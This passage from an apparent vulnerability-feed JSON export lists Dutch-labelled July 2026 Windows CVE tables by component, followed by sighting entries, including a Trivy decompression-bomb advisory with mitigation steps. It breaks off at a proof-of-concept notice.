\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:12.707973Z"}, {"uuid": "8761b76c-278e-4590-9ad8-1e682c62885f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54684", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnfxhbupl25", "content": "CVE-2026-54684 - jadx: XAPK archive entries with absolute paths can plant drop-in plugins and achieve code execution on the next jadx run\nCVE ID : CVE-2026-54684\n \n Published : July 14, 2026, 10:17 p.m. | 1\u00a0hour, 14\u00a0minutes ago\n \n Description : jadx is a Dex to Java decompiler...", "creation_timestamp": "2026-07-14T23:58:16.726703Z"}, {"uuid": "8ec0c806-893f-46c7-8c9a-8ecf7e980c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54448", "type": "seen", "source": "https://gist.github.com/alon710/94e6df27894be3cbbefd9a4426323455", "content": "# CVE-2026-54448: CVE-2026-54448: Denial of Service in Trivy Helm Chart Parser via Decompression Bomb\n\n> **CVSS Score:** 6.5\n> **Published:** 2026-07-14\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54448\n\n## Summary\nCVE-2026-54448 is a critical denial of service vulnerability in Trivy's Infrastructure-as-Code (IaC) misconfiguration scanning engine. Prior to version 0.71.0, Trivy utilized a custom archive parser to unpack Helm chart tarballs (.tgz) during automated scans. This custom implementation iterated through compressed files and loaded their entire raw contents into system memory using the io.ReadAll function without implementing size limits or threshold checks, enabling an attacker to trigger an immediate heap-allocation crash or system Out-of-Memory (OOM) termination using a decompression bomb.\n\n## TL;DR\nTrivy versions prior to 0.71.0 are vulnerable to Denial of Service (DoS) via decompression bombs. The custom Helm chart unpacker uses unbounded memory reads, allowing small malicious archives to exhaust host memory and crash the scanner process.\n\n## Technical Details\n\n- **Vulnerability Type**: Improper Handling of Highly Compressed Data (CWE-409)\n- **Attack Vector**: Network\n- **Attack Complexity**: Low\n- **CVSS v3.1 Base Score**: 6.5 (Medium)\n- **EPSS Score**: 0.0025\n- **KEV Status**: Not Listed\n- **Exploit Maturity**: none\n\n## Affected Systems\n\n- Aqua Security Trivy (versions < 0.71.0)\n- **Trivy**: < 0.71.0 (Fixed in: `0.71.0`)\n\n## Mitigation\n\n- Upgrade Trivy command-line installations and container images to version 0.71.0 or higher.\n- Skip processing of compressed archives using the --skip-files or --skip-dirs arguments.\n- Enforce strict control group (cgroups) or container-level memory limits on scan runners to prevent host memory depletion.\n\n**Remediation Steps:**\n1. Determine current Trivy versions active across local environments and deployment pipelines by executing 'trivy --version'.\n2. Update central CI/CD template files and workflow configurations to explicitly require aquasec/trivy:0.71.0 or newer.\n3. For legacy setups where upgrades are blocked, configure the '--skip-files' parameter to bypass .tgz and .tar files during scanning.\n\n## References\n\n- [GitHub Security Advisory GHSA-q3fv-x8vg-qqm4](https://github.com/aquasecurity/trivy/security/advisories/GHSA-q3fv-x8vg-qqm4)\n- [Trivy Refactor PR #10718](https://github.com/aquasecurity/trivy/pull/10718)\n- [Fixing Commit 441251e51ae46cbcf7f436547e0a5766b25328b4](https://github.com/aquasecurity/trivy/commit/441251e51ae46cbcf7f436547e0a5766b25328b4)\n- [Trivy v0.71.0 Release Notes](https://github.com/aquasecurity/trivy/releases/tag/v0.71.0)\n- [NVD CVE-2026-54448 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-54448)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54448) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-15T00:00:00.675895Z"}, {"uuid": "b47867a4-418b-48ab-8a73-f60a50655a45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54686", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89060", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54686-poc\n\ud83d\udc64 